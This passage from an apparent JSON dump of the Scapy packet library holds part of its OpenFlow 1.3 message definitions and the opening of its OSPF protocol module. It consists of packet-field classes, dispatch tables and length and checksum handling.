0)]\n\n\nclass OFPMeterBandStats(Packet):\n    name = \"OFP_METER_BAND_STATS\"\n    fields_desc = [LongField(\"packet_band_count\", 0),\n                   LongField(\"byte_band_count\", 0)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPMeterStats(Packet):\n    name = \"OFP_GROUP_STATS\"\n    fields_desc = [IntEnumField(\"meter_id\", 1, ofp_meter),\n                   ShortField(\"len\", None),\n                   XBitField(\"pad\", 0, 48),\n                   IntField(\"flow_count\", 0),\n                   LongField(\"packet_in_count\", 0),\n                   LongField(\"byte_in_count\", 0),\n                   IntField(\"duration_sec\", 0),\n                   IntField(\"duration_nsec\", 0),\n                   PacketListField(\"band_stats\", None, OFPMeterBandStats,\n                                   length_from=lambda pkt:pkt.len - 40)]\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            tmp_len = len(p) + len(pay)\n            p = p[:4] + struct.pack(\"!H\", tmp_len) + p[6:]\n        return p + pay\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPMPReplyMeter(_ofp_header):\n    name = \"OFPMP_REPLY_METER\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 9, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad1\", 0),\n                   PacketListField(\"meter_stats\", [], OFPMeterStats,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\nclass OFPMPRequestMeterConfig(_ofp_header):\n    name = \"OFPMP_REQUEST_METER_CONFIG\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 10, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_request_flags),\n                   XIntField(\"pad1\", 0),\n                   IntEnumField(\"meter_id\", \"ALL\", ofp_meter),\n                   XIntField(\"pad2\", 0)]\n\n\nclass OFPMeterConfig(_ofp_header_item):\n    name = \"OFP_METER_CONFIG\"\n    fields_desc = [ShortField(\"len\", None),\n                   FlagsField(\"flags\", 0, 16, [\"KBPS\",\n                                               \"PKTPS\",\n                                               \"BURST\",\n                                               \"STATS\"]),\n                   IntEnumField(\"meter_id\", 1, ofp_meter),\n                   PacketListField(\"bands\", [], OFPMBT,\n                                   length_from=lambda pkt:pkt.len - 8)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPMPReplyMeterConfig(_ofp_header):\n    name = \"OFPMP_REPLY_METER_CONFIG\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 10, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad1\", 0),\n                   PacketListField(\"meter_configs\", [], OFPMeterConfig,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\nclass OFPMPRequestMeterFeatures(_ofp_header):\n    name = \"OFPMP_REQUEST_METER_FEATURES\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 11, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_request_flags),\n                   XIntField(\"pad1\", 0)]\n\n\nclass OFPMPReplyMeterFeatures(_ofp_header):\n    name = \"OFPMP_REPLY_METER_FEATURES\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 11, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad1\", 0),\n                   IntField(\"max_meter\", 0),\n                   FlagsField(\"band_types\", 0, 32, [\"DROP\",\n                                                    \"DSCP_REMARK\",\n                                                    \"EXPERIMENTER\"]),\n                   FlagsField(\"capabilities\", 0, 32, [\"KPBS\",\n                                                      \"PKTPS\",\n                                                      \"BURST\",\n                                                      \"STATS\"]),\n                   ByteField(\"max_bands\", 0),\n                   ByteField(\"max_color\", 0),\n                   XShortField(\"pad2\", 0)]\n\n\n#       table features for multipart messages       #\n\n\nclass OFPTFPT(Packet):\n    name = \"Dummy OpenFlow3 Table Features Properties Header\"\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            t = struct.unpack(\"!H\", _pkt[:2])[0]\n            return ofp_table_features_prop_cls.get(t, Raw)\n        return Raw\n\n    def post_build(self, p, pay):\n        tmp_len = self.len\n        if tmp_len is None:\n            tmp_len = len(p) + len(pay)\n            p = p[:2] + struct.pack(\"!H\", tmp_len) + p[4:]\n            zero_bytes = (8 - tmp_len % 8) % 8\n            p += b\"\\x00\" * zero_bytes\n        # message with user-defined length will not be automatically padded\n        return p + pay\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nofp_table_features_prop_types = {0: \"OFPTFPT_INSTRUCTIONS\",\n                                 1: \"OFPTFPT_INSTRUCTIONS_MISS\",\n                                 2: \"OFPTFPT_NEXT_TABLES\",\n                                 3: \"OFPTFPT_NEXT_TABLES_MISS\",\n                                 4: \"OFPTFPT_WRITE_ACTIONS\",\n                                 5: \"OFPTFPT_WRITE_ACTIONS_MISS\",\n                                 6: \"OFPTFPT_APPLY_ACTIONS\",\n                                 7: \"OFPTFPT_APPLY_ACTIONS_MISS\",\n                                 8: \"OFPTFPT_MATCH\",\n                                 10: \"OFPTFPT_WILDCARDS\",\n                                 12: \"OFPTFPT_WRITE_SETFIELD\",\n                                 13: \"OFPTFPT_WRITE_SETFIELD_MISS\",\n                                 14: \"OFPTFPT_APPLY_SETFIELD\",\n                                 15: \"OFPTFPT_APPLY_SETFIELD_MISS\",\n                                 65534: \"OFPTFPT_EXPERIMENTER\",\n                                 65535: \"OFPTFPT_EXPERIMENTER_MISS\"}\n\n\nclass OFPTFPTInstructions(OFPTFPT):\n    name = \"OFPTFPT_INSTRUCTIONS\"\n    fields_desc = [ShortField(\"type\", 0),\n                   ShortField(\"len\", None),\n                   PacketListField(\"instruction_ids\", [], OFPITID,\n                                   length_from=lambda pkt:pkt.len - 4)]\n\n\nclass OFPTFPTInstructionsMiss(OFPTFPT):\n    name = \"OFPTFPT_INSTRUCTIONS_MISS\"\n    fields_desc = [ShortField(\"type\", 1),\n                   ShortField(\"len\", None),\n                   PacketListField(\"instruction_ids\", [], OFPITID,\n                                   length_from=lambda pkt:pkt.len - 4)]\n\n\nclass OFPTableID(Packet):\n    name = \"OFP_TABLE_ID\"\n    fields_desc = [ByteEnumField(\"table_id\", 0, ofp_table)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPTFPTNextTables(OFPTFPT):\n    name = \"OFPTFPT_NEXT_TABLES\"\n    fields_desc = [ShortField(\"type\", 2),\n                   ShortField(\"len\", None),\n                   PacketListField(\"next_table_ids\", None, OFPTableID,\n                                   length_from=lambda pkt:pkt.len - 4)]\n\n\nclass OFPTFPTNextTablesMiss(OFPTFPT):\n    name = \"OFPTFPT_NEXT_TABLES_MISS\"\n    fields_desc = [ShortField(\"type\", 3),\n                   ShortField(\"len\", None),\n                   PacketListField(\"next_table_ids\", None, OFPTableID,\n                                   length_from=lambda pkt:pkt.len - 4)]\n\n\nclass OFPTFPTWriteActions(OFPTFPT):\n    name = \"OFPTFPT_WRITE_ACTIONS\"\n    fields_desc = [ShortField(\"type\", 4),\n                   ShortField(\"len\", None),\n                   PacketListField(\"action_ids\", [], OFPATID,\n                                   length_from=lambda pkt:pkt.len - 4)]\n\n\nclass OFPTFPTWriteActionsMiss(OFPTFPT):\n    name = \"OFPTFPT_WRITE_ACTIONS_MISS\"\n    fields_desc = [ShortField(\"type\", 5),\n                   ShortField(\"len\", None),\n                   PacketListField(\"action_ids\", [], OFPATID,\n                                   length_from=lambda pkt:pkt.len - 4)]\n\n\nclass OFPTFPTApplyActions(OFPTFPT):\n    name = \"OFPTFPT_APPLY_ACTIONS\"\n    fields_desc = [ShortField(\"type\", 6),\n                   ShortField(\"len\", None),\n                   PacketListField(\"action_ids\", [], OFPATID,\n                                   length_from=lambda pkt:pkt.len - 4)]\n\n\nclass OFPTFPTApplyActionsMiss(OFPTFPT):\n    name = \"OFPTFPT_APPLY_ACTIONS_MISS\"\n    fields_desc = [ShortField(\"type\", 7),\n                   ShortField(\"len\", None),\n                   PacketListField(\"action_ids\", [], OFPATID,\n                                   length_from=lambda pkt:pkt.len - 4)]\n\n\nclass OFPTFPTMatch(OFPTFPT):\n    name = \"OFPTFPT_MATCH\"\n    fields_desc = [ShortField(\"type\", 8),\n                   ShortField(\"len\", None),\n                   PacketListField(\"oxm_ids\", [], OXMID,\n                                   length_from=lambda pkt:pkt.len - 4)]\n\n\nclass OFPTFPTWildcards(OFPTFPT):\n    name = \"OFPTFPT_WILDCARDS\"\n    fields_desc = [ShortField(\"type\", 10),\n                   ShortField(\"len\", None),\n                   PacketListField(\"oxm_ids\", [], OXMID,\n                                   length_from=lambda pkt:pkt.len - 4)]\n\n\nclass OFPTFPTWriteSetField(OFPTFPT):\n    name = \"OFPTFPT_WRITE_SETFIELD\"\n    fields_desc = [ShortField(\"type\", 12),\n                   ShortField(\"len\", None),\n                   PacketListField(\"oxm_ids\", [], OXMID,\n                                   length_from=lambda pkt:pkt.len - 4)]\n\n\nclass OFPTFPTWriteSetFieldMiss(OFPTFPT):\n    name = \"OFPTFPT_WRITE_SETFIELD_MISS\"\n    fields_desc = [ShortField(\"type\", 13),\n                   ShortField(\"len\", None),\n                   PacketListField(\"oxm_ids\", [], OXMID,\n                                   length_from=lambda pkt:pkt.len - 4)]\n\n\nclass OFPTFPTApplySetField(OFPTFPT):\n    name = \"OFPTFPT_APPLY_SETFIELD\"\n    fields_desc = [ShortField(\"type\", 14),\n                   ShortField(\"len\", None),\n                   PacketListField(\"oxm_ids\", [], OXMID,\n                                   length_from=lambda pkt:pkt.len - 4)]\n\n\nclass OFPTFPTApplySetFieldMiss(OFPTFPT):\n    name = \"OFPTFPT_APPLY_SETFIELD_MISS\"\n    fields_desc = [ShortField(\"type\", 15),\n                   ShortField(\"len\", None),\n                   PacketListField(\"oxm_ids\", [], OXMID,\n                                   length_from=lambda pkt:pkt.len - 4)]\n\n\nclass OFPTFPTExperimenter(OFPTFPT):\n    name = \"OFPTFPT_EXPERIMENTER\"\n    fields_desc = [ShortField(\"type\", 65534),\n                   ShortField(\"len\", None),\n                   IntField(\"experimenter\", 0),\n                   IntField(\"exp_type\", 0),\n                   PacketLenField(\"experimenter_data\", None, Raw,\n                                  length_from=lambda pkt: pkt.len - 12)]\n\n\nclass OFPTFPTExperimenterMiss(OFPTFPT):\n    name = \"OFPTFPT_EXPERIMENTER_MISS\"\n    fields_desc = [ShortField(\"type\", 65535),\n                   ShortField(\"len\", None),\n                   IntField(\"experimenter\", 0),\n                   IntField(\"exp_type\", 0),\n                   PacketLenField(\"experimenter_data\", None, Raw,\n                                  length_from=lambda pkt: pkt.len - 12)]\n\n\nofp_table_features_prop_cls = {0: OFPTFPTInstructions,\n                               1: OFPTFPTInstructionsMiss,\n                               2: OFPTFPTNextTables,\n                               3: OFPTFPTNextTablesMiss,\n                               4: OFPTFPTWriteActions,\n                               5: OFPTFPTWriteActionsMiss,\n                               6: OFPTFPTApplyActions,\n                               7: OFPTFPTApplyActionsMiss,\n                               8: OFPTFPTMatch,\n                               10: OFPTFPTWildcards,\n                               12: OFPTFPTWriteSetField,\n                               13: OFPTFPTWriteSetFieldMiss,\n                               14: OFPTFPTApplySetField,\n                               15: OFPTFPTApplySetFieldMiss,\n                               65534: OFPTFPTExperimenter,\n                               65535: OFPTFPTExperimenterMiss}\n\n\nclass OFPTableFeatures(_ofp_header_item):\n    name = \"OFP_TABLE_FEATURES\"\n    fields_desc = [ShortField(\"len\", None),\n                   ByteEnumField(\"table_id\", 0, ofp_table),\n                   XBitField(\"pad\", 0, 40),\n                   StrFixedLenField(\"table_name\", \"\", 32),\n                   LongField(\"metadata_match\", 0),\n                   LongField(\"metadata_write\", 0),\n                   IntEnumField(\"config\", 0, {0: \"OFPTC_NO_MASK\",\n                                              3: \"OFPTC_DEPRECATED_MASK\"}),\n                   IntField(\"max_entries\", 0),\n                   PacketListField(\"properties\", [], OFPTFPT,\n                                   length_from=lambda pkt:pkt.len - 64)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass OFPMPRequestTableFeatures(_ofp_header):\n    name = \"OFPMP_REQUEST_TABLE_FEATURES\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 12, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_request_flags),\n                   XIntField(\"pad1\", 0),\n                   PacketListField(\"table_features\", [], OFPTableFeatures,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\nclass OFPMPReplyTableFeatures(_ofp_header):\n    name = \"OFPMP_REPLY_TABLE_FEATURES\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 12, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad1\", 0),\n                   PacketListField(\"table_features\", [], OFPTableFeatures,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\n#               end of table features               #\n\n\nclass OFPMPRequestPortDesc(_ofp_header):\n    name = \"OFPMP_REQUEST_PORT_DESC\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 13, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_request_flags),\n                   XIntField(\"pad1\", 0),\n                   IntEnumField(\"port_no\", 0, ofp_port_no),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPMPReplyPortDesc(_ofp_header):\n    name = \"OFPMP_REPLY_PORT_DESC\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 13, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad1\", 0),\n                   PacketListField(\"ports\", None, OFPPort,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\nclass OFPMPRequestExperimenter(_ofp_header):\n    name = \"OFPST_REQUEST_EXPERIMENTER\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 18, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 65535, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_request_flags),\n                   XIntField(\"pad1\", 0),\n                   IntField(\"experimenter\", 0),\n                   IntField(\"exp_type\", 0)]\n\n\nclass OFPMPReplyExperimenter(_ofp_header):\n    name = \"OFPST_REPLY_EXPERIMENTER\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 19, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"mp_type\", 65535, ofp_multipart_types),\n                   FlagsField(\"flags\", 0, 16, ofpmp_reply_flags),\n                   XIntField(\"pad1\", 0),\n                   IntField(\"experimenter\", 0),\n                   IntField(\"exp_type\", 0)]\n\n\n# ofp_multipart_request/reply_cls allows generic method OpenFlow3()\n# to choose the right class for dissection\nofp_multipart_request_cls = {0: OFPMPRequestDesc,\n                             1: OFPMPRequestFlow,\n                             2: OFPMPRequestAggregate,\n                             3: OFPMPRequestTable,\n                             4: OFPMPRequestPortStats,\n                             5: OFPMPRequestQueue,\n                             6: OFPMPRequestGroup,\n                             7: OFPMPRequestGroupDesc,\n                             8: OFPMPRequestGroupFeatures,\n                             9: OFPMPRequestMeter,\n                             10: OFPMPRequestMeterConfig,\n                             11: OFPMPRequestMeterFeatures,\n                             12: OFPMPRequestTableFeatures,\n                             13: OFPMPRequestPortDesc,\n                             65535: OFPMPRequestExperimenter}\n\nofp_multipart_reply_cls = {0: OFPMPReplyDesc,\n                           1: OFPMPReplyFlow,\n                           2: OFPMPReplyAggregate,\n                           3: OFPMPReplyTable,\n                           4: OFPMPReplyPortStats,\n                           5: OFPMPReplyQueue,\n                           6: OFPMPReplyGroup,\n                           7: OFPMPReplyGroupDesc,\n                           8: OFPMPReplyGroupFeatures,\n                           9: OFPMPReplyMeter,\n                           10: OFPMPReplyMeterConfig,\n                           11: OFPMPReplyMeterFeatures,\n                           12: OFPMPReplyTableFeatures,\n                           13: OFPMPReplyPortDesc,\n                           65535: OFPMPReplyExperimenter}\n\n#              end of OFPT_MULTIPART                #\n\n\nclass OFPTBarrierRequest(_ofp_header):\n    name = \"OFPT_BARRIER_REQUEST\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 20, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0)]\n\n\nclass OFPTBarrierReply(_ofp_header):\n    name = \"OFPT_BARRIER_REPLY\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 21, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0)]\n\n\nclass OFPTQueueGetConfigRequest(_ofp_header):\n    name = \"OFPT_QUEUE_GET_CONFIG_REQUEST\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 22, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   IntEnumField(\"port_no\", \"ANY\", ofp_port_no),\n                   XIntField(\"pad\", 0)]\n\n\nclass OFPTQueueGetConfigReply(_ofp_header):\n    name = \"OFPT_QUEUE_GET_CONFIG_REPLY\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 23, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   IntEnumField(\"port\", 0, ofp_port_no),\n                   XIntField(\"pad\", 0),\n                   PacketListField(\"queues\", [], OFPPacketQueue,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\nclass OFPTRoleRequest(_ofp_header):\n    name = \"OFPT_ROLE_REQUEST\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 24, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   IntEnumField(\"role\", 0, {0: \"OFPCR_ROLE_NOCHANGE\",\n                                            1: \"OFPCR_ROLE_EQUAL\",\n                                            2: \"OFPCR_ROLE_MASTER\",\n                                            3: \"OFPCR_ROLE_SLAVE\"}),\n                   XIntField(\"pad\", 0),\n                   LongField(\"generation_id\", 0)]\n\n\nclass OFPTRoleReply(OFPTRoleRequest):\n    name = \"OFPT_ROLE_REPLY\"\n    type = 25\n\n\nclass OFPTGetAsyncRequest(_ofp_header):\n    name = \"OFPT_GET_ASYNC_REQUEST\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 26, ofp_type),\n                   ShortField(\"len\", 8),\n                   IntField(\"xid\", 0)]\n\n\nofp_packet_in_reason = [\"NO_MATCH\",\n                        \"ACTION\",\n                        \"INVALID_TTL\"]\n\nofp_port_reason = [\"ADD\",\n                   \"DELETE\",\n                   \"MODIFY\"]\n\nofp_flow_removed_reason = [\"IDLE_TIMEOUT\",\n                           \"HARD_TIMEOUT\",\n                           \"DELETE\",\n                           \"GROUP_DELETE\"]\n\n\nclass OFPTGetAsyncReply(_ofp_header):\n    name = \"OFPT_GET_ASYNC_REPLY\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 27, ofp_type),\n                   ShortField(\"len\", 32),\n                   IntField(\"xid\", 0),\n                   FlagsField(\"packet_in_mask_master\", 0, 32, ofp_packet_in_reason),  # noqa: E501\n                   FlagsField(\"packet_in_mask_slave\", 0, 32, ofp_packet_in_reason),  # noqa: E501\n                   FlagsField(\"port_status_mask_master\", 0, 32, ofp_port_reason),  # noqa: E501\n                   FlagsField(\"port_status_mask_slave\", 0, 32, ofp_port_reason),  # noqa: E501\n                   FlagsField(\"flow_removed_mask_master\", 0, 32, ofp_flow_removed_reason),  # noqa: E501\n                   FlagsField(\"flow_removed_mask_slave\", 0, 32, ofp_flow_removed_reason)]  # noqa: E501\n\n\nclass OFPTSetAsync(OFPTGetAsyncReply):\n    name = \"OFPT_SET_ASYNC\"\n    type = 28\n\n\nclass OFPTMeterMod(_ofp_header):\n    name = \"OFPT_METER_MOD\"\n    fields_desc = [ByteEnumField(\"version\", 0x04, ofp_version),\n                   ByteEnumField(\"type\", 29, ofp_type),\n                   ShortField(\"len\", None),\n                   IntField(\"xid\", 0),\n                   ShortEnumField(\"cmd\", 0, {0: \"OFPMC_ADD\",\n                                             1: \"OFPMC_MODIFY\",\n                                             2: \"OFPMC_DELETE\"}),\n                   FlagsField(\"flags\", 0, 16, [\"KBPS\",\n                                               \"PKTPS\",\n                                               \"BURST\",\n                                               \"STATS\"]),\n                   IntEnumField(\"meter_id\", 1, ofp_meter),\n                   PacketListField(\"bands\", [], OFPMBT,\n                                   length_from=lambda pkt:pkt.len - 16)]\n\n\n# ofpt_cls allows generic method OpenFlow3() to choose the right class for dissection  # noqa: E501\nofpt_cls = {0: OFPTHello,\n            # 1: OFPTError,\n            2: OFPTEchoRequest,\n            3: OFPTEchoReply,\n            4: OFPTExperimenter,\n            5: OFPTFeaturesRequest,\n            6: OFPTFeaturesReply,\n            7: OFPTGetConfigRequest,\n            8: OFPTGetConfigReply,\n            9: OFPTSetConfig,\n            10: OFPTPacketIn,\n            11: OFPTFlowRemoved,\n            12: OFPTPortStatus,\n            13: OFPTPacketOut,\n            14: OFPTFlowMod,\n            15: OFPTGroupMod,\n            16: OFPTPortMod,\n            17: OFPTTableMod,\n            # 18: OFPTMultipartRequest,\n            # 19: OFPTMultipartReply,\n            20: OFPTBarrierRequest,\n            21: OFPTBarrierReply,\n            22: OFPTQueueGetConfigRequest,\n            23: OFPTQueueGetConfigReply,\n            24: OFPTRoleRequest,\n            25: OFPTRoleReply,\n            26: OFPTGetAsyncRequest,\n            27: OFPTGetAsyncReply,\n            28: OFPTSetAsync,\n            29: OFPTMeterMod}\n"
  },
  {
    "path": "scapy/contrib/ospf.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (c) 2008 Dirk Loss <dirk-loss de>\n# Copyright (c) 2010 Jochen Bartl <jochen.bartl gmail com>\n\n# scapy.contrib.description = Open Shortest Path First (OSPF)\n# scapy.contrib.status = loads\n\n\"\"\"\nOSPF extension for Scapy <http://www.secdev.org/scapy>\n\nThis module provides Scapy layers for the Open Shortest Path First\nrouting protocol as defined in RFC 2328 and RFC 5340.\n\"\"\"\n\n\nimport struct\n\nfrom scapy.packet import bind_layers, Packet\nfrom scapy.fields import BitField, ByteEnumField, ByteField, \\\n    ConditionalField, DestIP6Field, FieldLenField, \\\n    FieldListField, FlagsField, IP6Field, IP6PrefixField, IPField, \\\n    IntEnumField, IntField, LenField, PacketListField, ShortEnumField, \\\n    ShortField, StrLenField, X3BytesField, XIntField, XLongField, XShortField\nfrom scapy.layers.inet import IP, DestIPField\nfrom scapy.layers.inet6 import IPv6, in6_chksum\nfrom scapy.utils import fletcher16_checkbytes, checksum, inet_aton\nfrom scapy.compat import orb\nfrom scapy.config import conf\n\nEXT_VERSION = \"v0.9.2\"\n\n\nclass OSPFOptionsField(FlagsField):\n\n    def __init__(self, name=\"options\", default=0, size=8,\n                 names=None):\n        if names is None:\n            names = [\"MT\", \"E\", \"MC\", \"NP\", \"L\", \"DC\", \"O\", \"DN\"]\n        FlagsField.__init__(self, name, default, size, names)\n\n\n_OSPF_types = {1: \"Hello\",\n               2: \"DBDesc\",\n               3: \"LSReq\",\n               4: \"LSUpd\",\n               5: \"LSAck\"}\n\n\nclass _NoLLSLenField(LenField):\n    \"\"\"\n    LenField that will ignore the size of OSPF_LLS_Hdr if it exists\n    in the payload\n    \"\"\"\n\n    def i2m(self, pkt, x):\n        if x is None:\n            x = self.adjust(len(pkt.payload))\n        if OSPF_LLS_Hdr in pkt:\n            x -= len(pkt[OSPF_LLS_Hdr])\n        return x\n\n\nclass OSPF_Hdr(Packet):\n    name = \"OSPF Header\"\n    fields_desc = [\n        ByteField(\"version\", 2),\n        ByteEnumField(\"type\", 1, _OSPF_types),\n        _NoLLSLenField(\"len\", None, adjust=lambda x: x + 24),\n        IPField(\"src\", \"1.1.1.1\"),\n        IPField(\"area\", \"0.0.0.0\"),  # default: backbone\n        XShortField(\"chksum\", None),\n        ShortEnumField(\"authtype\", 0, {0: \"Null\", 1: \"Simple\", 2: \"Crypto\"}),\n        # Null or Simple Authentication\n        ConditionalField(XLongField(\"authdata\", 0), lambda pkt: pkt.authtype != 2),  # noqa: E501\n        # Crypto Authentication\n        ConditionalField(XShortField(\"reserved\", 0), lambda pkt: pkt.authtype == 2),  # noqa: E501\n        ConditionalField(ByteField(\"keyid\", 1), lambda pkt: pkt.authtype == 2),\n        ConditionalField(ByteField(\"authdatalen\", 0), lambda pkt: pkt.authtype == 2),  # noqa: E501\n        ConditionalField(XIntField(\"seq\", 0), lambda pkt: pkt.authtype == 2),\n        # TODO: Support authdata (which is appended to the packets as if it were padding)  # noqa: E501\n    ]\n\n    def post_build(self, p, pay):\n        # See <http://tools.ietf.org/html/rfc5613>\n        p += pay\n        if self.chksum is None:\n            if self.authtype == 2:\n                ck = 0   # Crypto, see RFC 2328, D.4.3\n            else:\n                # Checksum is calculated without authentication data\n                # Algorithm is the same as in IP()\n                ck = checksum(p[:16] + p[24:])\n                p = p[:12] + struct.pack(\"!H\", ck) + p[14:]\n            # TODO: Handle Crypto: Add message digest  (RFC 2328, D.4.3)\n        return p\n\n    def hashret(self):\n        return struct.pack(\"H\", self.area) + self.payload.hashret()\n\n    def answers(self, other):\n        if (isinstance(other, OSPF_Hdr) and\n            self.area == other.area and\n                self.type == 5):  # Only acknowledgements answer other packets\n            return self.payload.answers(other.payload)\n        return 0\n\n\nclass OSPF_Hello(Packet):\n    name = \"OSPF Hello\"\n    fields_desc = [IPField(\"mask\", \"255.255.255.0\"),\n                   ShortField(\"hellointerval\", 10),\n                   OSPFOptionsField(),\n                   ByteField(\"prio\", 1),\n                   IntField(\"deadinterval\", 40),\n                   IPField(\"router\", \"0.0.0.0\"),\n                   IPField(\"backup\", \"0.0.0.0\"),\n                   FieldListField(\"neighbors\", [], IPField(\"\", \"0.0.0.0\"), length_from=lambda pkt: (pkt.underlayer.len - 44) if pkt.underlayer else None)]  # noqa: E501\n\n    def guess_payload_class(self, payload):\n        # check presence of LLS data block flag\n        if self.options & 0x10 == 0x10:\n            return OSPF_LLS_Hdr\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\nclass LLS_Generic_TLV(Packet):\n    name = \"LLS Generic\"\n    fields_desc = [ShortField(\"type\", 0),\n                   FieldLenField(\"len\", None, length_of=\"val\"),\n                   StrLenField(\"val\", \"\", length_from=lambda x: x.len)]\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n\nclass LLS_Extended_Options(LLS_Generic_TLV):\n    name = \"LLS Extended Options and Flags\"\n    fields_desc = [ShortField(\"type\", 1),\n                   FieldLenField(\"len\", None, fmt=\"!H\", length_of=\"options\"),\n                   StrLenField(\"options\", \"\", length_from=lambda x: x.len)]\n    # TODO: FlagsField(\"options\", 0, names=[\"LR\", \"RS\"], size) with dynamic size  # noqa: E501\n\n\nclass LLS_Crypto_Auth(LLS_Generic_TLV):\n    name = \"LLS Cryptographic Authentication\"\n    fields_desc = [ShortField(\"type\", 2),\n                   FieldLenField(\"len\", 20, fmt=\"B\", length_of=lambda x: x.authdata + 4),  # noqa: E501\n                   XIntField(\"sequence\", 0),\n                   StrLenField(\"authdata\", b\"\\x00\" * 16, length_from=lambda x: x.len - 4)]  # noqa: E501\n\n\n_OSPF_LLSclasses = {1: \"LLS_Extended_Options\",\n                    2: \"LLS_Crypto_Auth\"}\n\n\ndef _LLSGuessPayloadClass(p, **kargs):\n    \"\"\" Guess the correct LLS class for a given payload \"\"\"\n\n    cls = conf.raw_layer\n    if len(p) >= 3:\n        typ = struct.unpack(\"!H\", p[0:2])[0]\n        clsname = _OSPF_LLSclasses.get(typ, \"LLS_Generic_TLV\")\n        cls = globals()[clsname]\n    return cls(p, **kargs)\n\n\nclass FieldLenField32Bits(FieldLenField):\n    def i2repr(self, pkt, x):\n        return repr(x) if not x else str(FieldLenField.i2h(self, pkt, x) << 2) + 